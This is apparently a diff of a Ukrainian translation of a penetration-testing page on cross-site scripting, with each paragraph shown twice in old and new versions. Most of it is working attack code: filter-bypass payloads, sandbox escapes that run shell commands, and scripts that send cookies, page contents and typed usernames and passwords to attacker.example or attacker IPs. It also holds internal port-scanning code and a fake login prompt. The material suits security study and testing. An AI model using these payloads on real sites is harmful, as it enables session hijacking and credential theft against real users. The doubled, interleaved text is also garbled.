- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -449,19 +449,19 @@ onbeforetoggle="alert(2)" />
**Bypasses for HTML tags and attributes**
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
Прочитайте [Blacklist Bypasses of the previous section](#blacklist-bypasses).
**Bypasses for JavaScript code**
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
Прочитайте J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Якщо ви знайшли **XSS у дуже малій частині** сайту, яка вимагає певної взаємодії (наприклад, невелике посилання в footer з onmouseover), можна спробувати **змінити простір, який займає цей елемент**, щоб максимально підвищити ймовірність спрацьовування посилання.
Якщо ви знайшли **XSS у дуже маленькій частині** сайту, що потребує якоїсь взаємодії (можливо маленьке посилання в підвалі з onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність спрацьовування посилання.
Наприклад, ви можете додати стилі в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Наприклад, ви можете додати стилі для елемента, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Але якщо WAF фільтрує атрибут style, можна використати CSS Styling Gadgets, тому якщо ви знайдете, наприклад
Але якщо WAF фільтрує атрибут style, ви можете використати CSS Styling Gadgets, тож якщо ви знайдете, наприклад
> .test {display:block; color: blue; width: 100%\}
@ -469,27 +469,27 @@ and
> \#someid {top: 0; font-family: Tahoma;}
Тепер ви можете модифікувати наше посилання і привести його до форми
Тепер ви можете змінити наше посилання й привести його до форми
> \<a href="" id=someid class=test onclick=alert() a="">
Цей трюк взято з [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
Цей трюк запозичено з [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Впровадження всередині JavaScript-коду
## Інжекція в JavaScript-код
У цьому випадку ваш **input** буде **відображений всередині JS коду** у `.js` файлі або між `<script>...</script>` тегами, або в HTML-подіях, що можуть виконувати JS, або в атрибутах, що приймають протокол `javascript:`.
У цьому випадку ваш **input** буде відображено всередині JS-коду у `.js` файлі або між `<script>...</script>` тегами, або між HTML-подіями, що можуть виконати JS-код, або між атрибутами, що приймають протокол `javascript:`.
### Вихід із \<script> тега
### Escaping \<script> tag
Якщо ваш код вставляється всередині `<script> [...] var input = 'reflected data' [...] </script>`, ви легко можете **вийти, закривши `<script>`** тег:
Якщо ваш код вставлений всередині `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко вийти з контексту, закривши тег `<script>`:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Зверніть увагу, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **аналіз HTML виконується браузером спочатку**, що передбачає ідентифікацію елементів сторінки, включно з блоками скриптів. Парсинг JavaScript для розуміння та виконання вбудованих скриптів виконується лише після цього.
Зауважте, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **аналіз HTML виконується спочатку браузером**, що включає ідентифікацію елементів сторінки, зокрема блоків script. Парсинг JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього.
### Всередині JS-коду
### Всередині JS коду
Якщо `<>` очищуються, ви все ще можете **екранізувати рядок**, де ваше введення **розміщено**, та **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо будуть помилки, JS-код не буде виконано:
Якщо `<>` санітизуються, ви все ще можете **екранізувати рядок** у місці, де ваше введення **розташовано**, і **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки, якщо будуть помилки, JS код не буде виконано:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -497,25 +497,24 @@ and
```
#### JS-in-JS string break → inject → repair pattern
Коли введення користувача потрапляє всередину quoted JavaScript string (наприклад, server-side echo into an inline script), ви можете завершити рядок, вставити код і відновити синтаксис, щоб парсер залишався валідним. Загальна схема:
Коли введення користувача потрапляє всередину взятого в лапки JavaScript-рядка (e.g., server-side echo into an inline script), ви можете завершити рядок, інжектнути код і відновити синтаксис, щоб парсер залишався валідним. Загальний скелет:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Приклад шаблону URL, коли вразливий параметр відображається у JS-рядку:
Приклад шаблону URL, коли вразливий параметр відображається в JS-рядку:
```
?param=test";<INJECTION>;a="
```
Це виконує JS зловмисника без необхідності торкатися HTML-контексту (чистий JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
Це виконує attacker JS без необхідності торкатися HTML-контексту (pure JS-in-JS). Поєднуйте з blacklist bypasses нижче, коли фільтри блокують ключові слова.
### Шаблонні рядки ``
### Template literals ``
Щоб формувати **рядки**, окрім одинарних і подвійних лапок JS також підтримує **зворотні лапки** **` `` `** . Це називається шаблонними літералами, оскільки вони дозволяють **вбудовувати вирази JS** з використанням синтаксису `${ ... }`.\
Отже, якщо ви помітили, що ваш вхід **відображається** всередині JS-рядка, що використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **довільний JS-код**:
Щоб створювати **strings**, окрім одинарних і подвійних лапок, JS також підтримує **backticks** **` `` `**. Це відоме як template literals, оскільки вони дозволяють вбудовувати **embedded JS expressions** за допомогою синтаксису `${ ... }`.\ Тому, якщо ви виявите, що ваш ввід **reflected** всередині JS-рядка, який використовує backticks, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **arbitrary JS code**:
Цим можна **зловживати**, використовуючи:
Цим можна **зловживати** за допомогою:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -527,21 +526,21 @@ return loop
}
loop``
```
### Виконання закодованого коду
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Deliverable payloads з `eval(atob())` та нюанси області видимості
#### Deliverable payloads із eval(atob()) та нюансами області видимості
Щоб зробити URL-адреси коротшими та обійти наївні фільтри за ключовими словами, ви можете base64-encode вашу реальну логіку та виконати її через `eval(atob('...'))`. Якщо просте фільтрування за ключовими словами блокує ідентифікатори на кшталт `alert`, `eval` або `atob`, використовуйте Unicode-escaped ідентифікатори, які компілюються ідентично в браузері, але обходять фільтри, що шукають рядки:
Щоб зробити URL-адреси коротшими та обійти наївні фільтри за ключовими словами, ви можете закодувати вашу реальну логіку в base64 і виконати її за допомогою `eval(atob('...'))`. Якщо просте фільтрування за ключовими словами блокує ідентифікатори, такі як `alert`, `eval` або `atob`, використовуйте Unicode-escaped ідентифікатори, які компілюються ідентично у браузері, але обходять фільтри співпадіння рядків:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Важлива нюанс областей видимості: `const`/`let` оголошені всередині `eval()` мають блочну область видимості і НЕ створюють globals; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований `<script>` елемент для визначення глобальних, незмінних hooks коли потрібно (наприклад, щоб перехопити обробник форми):
Важлива тонкість області видимості: `const`/`let`, оголошені всередині `eval()`, мають блочну область видимості і НЕ створюють глобальних змінних; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований елемент `<script>` для визначення глобальних hooks, які не можна перевизначити, коли це потрібно (наприклад, щоб перехопити обробник форми):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -549,7 +548,7 @@ document.head.appendChild(s);
```
Посилання: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Виконання JS через Unicode-кодування
### Unicode Encode JS execution
```javascript
alert(1)
alert(1)
@ -557,7 +556,7 @@ alert(1)
```
### Техніки обходу чорних списків у JavaScript
**Strings**
**Рядки**
```javascript
"thisisastring"
'thisisastrig'
@ -588,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Підстановки пробілів всередині JS-коду**
**Підстановки пробілів у JS-коді**
```javascript
<TAB>
/**/
```
**JavaScript коментарі (з** [**JavaScript Comments**](#javascript-comments) **трюку)**
**JavaScript comments (з** [**JavaScript Comments**](#javascript-comments) **трюка)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -613,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
**JavaScript пробіли**
**Пробільні символи в JavaScript**
```javascript
log=[];
function funct(){}
@ -716,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Виклик довільної функції (alert)**
**Довільний виклик функції (alert)**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -778,44 +777,54 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
Є **JS code**, що використовує **ненадійні дані, керовані атакуючим**, як-от `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS-код.\
**Через великий обсяг пояснення** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
Тут є **JS код**, який використовує **небезпечні дані, контрольовані атакуючим**, наприклад `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS-код.
Оскільки пояснення про **DOM vulnerabilities** було розширено, воно перенесено на цю сторінку:
{{#ref}}
dom-xss.md
{{#endref}}
Там ви знайдете детальне **пояснення того, що таке DOM vulnerabilities, як вони спричиняються та як їх експлуатувати**.\
Також не забувайте, що **в кінці згаданого посту** ви можете знайти пояснення про [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
Там ви знайдете детальне **пояснення, що таке DOM vulnerabilities, як вони викликаються і як їх експлуатувати**.
Також не забувайте, що **у кінці згаданого допису** є пояснення про [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
### Ескалація Self-XSS
### Upgrading Self-XSS
### Cookie XSS
Якщо ви можете викликати XSS, надіславши payload у cookie, це зазвичай self-XSS. Однак, якщо ви знайдете **vulnerable subdomain to XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie на весь домен, змусивши спрацювати cookie XSS у головному домені або в інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack:
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай self-XSS. Проте, якщо ви знайдете **вразливий субдомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie для всього домену і таким чином викликати cookie XSS на основному домені або інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
Ви можете знайти відмінний приклад зловживання цією технікою в [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
Ви можете знайти відмінний приклад зловживання цією технікою у [**цьому дописі в блозі**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Надсилання вашої сесії до admin
### Sending your session to the admin
Можливо, користувач може поділитися своїм профілем з admin, і якщо self XSS знаходиться в профілі користувача, а admin відкриє його, він спровокує вразливість.
Можливо, користувач може поділитися своїм профілем з адміністратором, і якщо self XSS знаходиться в профілі користувача, а адміністратор його відкриє, вразливість спрацює.
### Session Mirroring
Якщо ви знайдете self XSS і веб-сторінка має **session mirroring for administrators**, наприклад дозволяючи клієнтам просити допомоги, то для того, щоб admin допоміг, він бачитиме те, що ви бачите у вашій сесії, але з його сесії.
Якщо ви знайдете self XSS і веб-сторінка має **session mirroring для адміністраторів**, наприклад дозволяючи клієнтам просити допомогу, і для того, щоб адміністратор допоміг вам, він бачить те, що бачите ви у вашій сесії, але зі своєї сесії.
Ви можете змусити **administrator trigger your self XSS** і вкрасти його cookies/session.
Ви можете змусити **адміністратора спровокувати ваш self XSS** і вкрасти його cookies/сесію.
## Інші методи обходу
## Other Bypasses
### Нормалізований Unicode
### Bypassing sanitization via WASM linear-memory template overwrite
Ви можете перевірити, чи **reflected values** нормалізуються як **unicode normalized** на сервері (або на клієнтській стороні) і зловживати цією функціональністю, щоб обійти захист. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
Коли веб‑додаток використовує Emscripten/WASM, константні строки (наприклад HTML-форматні шablони) зберігаються у записуваній лінійній пам'яті. Одне переповнення всередині WASM (наприклад unchecked memcpy в шляху редагування) може пошкодити сусідні структури і перенаправити записи до цих констант. Перезапис шаблону, такого як "<article><p>%.*s</p></article>" на "<img src=1 onerror=%.*s>" перетворює санітізований ввід у значення JavaScript-обробника і дає миттєвий DOM XSS при рендері.
Перевірте присвячену сторінку з workflow експлуатації, DevTools memory helpers та заходами захисту:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
### Normalised Unicode
Варто перевірити, чи **відображувані значення** проходять **unicode normalization** на сервері (або на клієнті) і скористатися цією функціональністю для обходу захистів. [**Приклад тут**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -823,16 +832,16 @@ dom-xss.md
```
### Ruby-On-Rails bypass
Через **RoR mass assignment** в HTML вставляються лапки, після чого обмеження на лапки обходиться і всередині тега можна додати додаткові поля (onfocus).\
Приклад форми ([from this report](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
Через **RoR mass assignment** в HTML вставляються лапки, після чого обмеження на лапки обходиться і додаткові поля (onfocus) можуть бути додані всередині тега.\
Приклад форми ([from this report](https://hackerone.com/reports/709336)), якщо ви відправите payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Пара "Key","Value" буде виведена ось так:
Пара "Key","Value" буде відображена таким чином:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Тоді атрибут onfocus буде вставлено, і відбудеться XSS.
Тоді буде вставлено атрибут onfocus і відбудеться XSS.
### Спеціальні комбінації
```html
@ -866,22 +875,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
Якщо ви виявите, що можете **inject headers in a 302 Redirect response**, можете спробувати **make the browser execute arbitrary JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо HTTP статусний код — 302, тож простий cross-site scripting payload марний.
Якщо ви виявите, що можете **inject headers in a 302 Redirect response**, можна спробувати **make the browser execute arbitrary JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді при статус-коді 302, тож простий cross-site scripting payload марний.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як протестувати кілька протоколів всередині Location header і перевірити, чи дозволяє якийсь із них браузеру інспектувати та виконати XSS payload всередині тіла.\
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
В [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) можна прочитати, як протестувати кілька протоколів всередині Location header і перевірити, чи якийсь з них дозволяє браузеру проінспектувати та виконати XSS payload у тілі відповіді.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Only Letters, Numbers and Dots
### Тільки літери, цифри та крапки
Якщо ви можете вказати **callback**, який javascript збирається **execute**, обмежений лише цими символами. [**Read this section of this post**](#javascript-function) щоб дізнатися, як зловживати цією поведінкою.
Якщо ви можете вказати **callback**, який javascript збирається **execute**, обмежений цими символами. [**Read this section of this post**](#javascript-function) щоб дізнатися, як зловживати цією поведінкою.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть таку помилку:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome викине таку помилку:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Єдині **Content-Type**и, які дозволяють Chrome виконати **loaded script**, — це ті, що перераховані в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Єдиними **Content-Type**s, що дозволяють Chrome виконати **loaded script**, є ті, що вказані в const **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -905,14 +914,14 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Типи script для XSS
(Взято з [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Отже, які типи можна вказати для завантаження script?
(З [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Отже, які типи можуть бути вказані для завантаження script?
```html
<script type="???"></script>
```
Відповідь:
- **module** (default, нічого пояснювати)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles — це функція, яка дозволяє упакувати велику кількість даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
- **module** (за замовчуванням, нічого пояснювати)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles — це функція, яка дозволяє упакувати набір даних (HTML, CSS, JS…) у файл **`.wbn`**.
```html
<script type="webbundle">
{
@ -939,9 +948,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Ця поведінка була використана в [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) щоб переназначити бібліотеку на eval і зловживати цим — це може призвести до XSS.
Цю поведінку використали в [**this writeup**](https://github.com/zwade/yaca/tree/master/solution), щоб переназначити бібліотеку на eval і зловживати нею — це може спричинити XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція насамперед покликана вирішити деякі проблеми, спричинені попереднім рендерингом. Працює так:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, спричинених попереднім рендерингом. Працює вона так:
```html
<script type="speculationrules">
{
@ -959,22 +968,22 @@ import { partition } from "lodash"
```
### Веб Content-Types для XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers:
(З [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні content types можуть виконувати XSS у всіх браузерах:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але, здається, я бачив це в CTF)
- text/plain (?? не в списку, але здається я бачив це на CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
В інших браузерах інші **`Content-Types`** можуть використовуватися для виконання довільного JS, див.: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml Тип вмісту
If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
Якщо сторінка повертає content-type text/xml, можна вказати простір імен і виконати довільний JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -984,9 +993,9 @@ If the page is returnin a text/xml content-type it's possible to indicate a name
```
### Спеціальні шаблони заміни
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використати [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Атакувальник може використати [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Наприклад, у [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано, щоб **ескейпнути JSON рядок** всередині скрипта і виконати довільний код.
Наприклад, у [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це використовували, щоб вийти з JSON-рядка всередині скрипта і виконати довільний код.
### Chrome Cache to XSS
@ -997,7 +1006,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
Якщо у вас є лише обмежений набір символів для використання, перегляньте інші робочі рішення для проблем XSJail:
Якщо у вас є обмежений набір символів, перегляньте інші дійсні рішення для проблем XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1028,7 +1037,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Якщо **everything is undefined** перед виконанням недовіреного коду (як у [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) можна згенерувати корисні об'єкти «нізвідки», щоб зловживати виконанням довільного недовіреного коду:
Якщо перед виконанням недовіреного коду **все undefined** (як у [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), можливо згенерувати корисні об'єкти "нізвідки", щоб зловживати виконанням довільного недовіреного коду:
- Використовуючи import()
```javascript
@ -1037,13 +1046,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Опосередкований доступ до `require`
[Згідно з цим](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) модулі обгортаються функцією Node.js, приблизно так:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) модулі в Node.js обгорнуті у функцію, ось так:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Отже, якщо з того модуля ми можемо **викликати іншу функцію**, то з цієї функції можна використати `arguments.callee.caller.arguments[1]` для доступу до **`require`**:
Тому, якщо з цього модуля ми можемо **викликати іншу функцію**, можна використати `arguments.callee.caller.arguments[1]` у тій функції, щоб отримати доступ до **`require`**:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1052,7 +1061,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Подібно до попереднього прикладу, можна **використовувати error handlers** для доступу до **wrapper** модуля та отримання функції **`require`**:
Подібно до попереднього прикладу, можна **використати обробники помилок** для доступу до **wrapper** модуля та отримати функцію **`require`**:
```javascript
try {
null.f()
@ -1090,9 +1099,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### Обфускація та просунуті методи обходу
### Obfuscation & Advanced Bypass
- **Різні обфускації на одній сторінці:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **Різні obfuscations на одній сторінці:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1280,9 +1289,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
steal-info-js.md
{{#endref}}
### Iframe пастка
### Iframe Пастка
Змусити користувача переміщатися по сторінці, не виходячи з iframe, і викрасти його дії (включно з інформацією, надісланою у формах):
Змушує користувача переміщатися по сторінці, не виходячи з iframe, і краде його дії (включно з інформацією, відправленою у формах):
{{#ref}}
@ -1312,9 +1321,9 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> Ви **не зможете отримати доступ до cookies з JavaScript**, якщо прапорець HTTPOnly встановлено в cookie. Але тут у вас є [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
### Вкрасти вміст сторінки
> Ви **не зможете отримати доступ до cookies з JavaScript**, якщо прапорець HTTPOnly встановлено в cookie. Але тут є [деякі способи обійти цей захист](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
### Викрадення вмісту сторінки
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1327,7 +1336,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### Знайти внутрішні IPs
### Знайти внутрішні IP-адреси
```html
<script>
var q = []
@ -1403,11 +1412,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Короткі часи вказують на порт, який відповідає_ _Триваліші часи вказують на відсутність відповіді._
_Короткі затримки вказують на порт, що відповідає_ _Більші затримки вказують на відсутність відповіді._
Перегляньте список портів, заблокованих у Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) і у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Блок для запиту облікових даних
### Блок запиту облікових даних
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1422,11 +1431,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Коли в поле пароля вводяться будь-які дані, ім'я користувача та пароль відправляються на сервер нападника — навіть якщо клієнт вибирає збережений пароль і нічого не вводить, the credentials will be ex-filtrated.
Коли в поле password вводяться будь‑які дані, username і password відправляються на attackers server; навіть якщо клієнт вибирає saved password і нічого не вводить, credentials будуть ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
Якщо критичний handler (наприклад, `function DoLogin(){...}`) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, via an inline JS-in-JS sink), визначте `const` з тим же ім'ям спочатку, щоб перехопити й зафіксувати handler. Подальші оголошення функцій не можуть перевизначити `const`-ім'я, залишаючи ваш hook під контролем:
Якщо критичний handler (наприклад, `function DoLogin(){...}`) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, через inline JS-in-JS sink), визначте `const` з тим же ім'ям спочатку, щоб перехопити та заблокувати handler. Пізніші оголошення функцій не можуть перепризначити ім'я `const`, залишаючи ваш hook під контролем:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1434,19 +1443,19 @@ const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```
Примітки
- Це залежить від порядку виконання: ваша ін'єкція має виконатися перед легітимним оголошенням.
- Якщо ваш payload обгорнуто в `eval(...)`, зв'язки `const/let` не стануть глобальними. Використовуйте техніку динамічної вставки `<script>` з розділу “Deliverable payloads with eval(atob()) and scope nuances” щоб забезпечити справжню глобальну прив'язку, яку неможливо перевизначити.
- Коли фільтри ключових слів блокують код, комбінуйте з Unicode-escaped ідентифікаторами або доставкою через `eval(atob('...'))`, як показано вище.
Notes
- Це залежить від порядку виконання: your injection має виконатися до legitimate declaration.
- Якщо ваш payload загорнутий у `eval(...)`, `const/let` зв'язування не стануть globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” щоб гарантувати справжнє global, non-rebindable зв'язування.
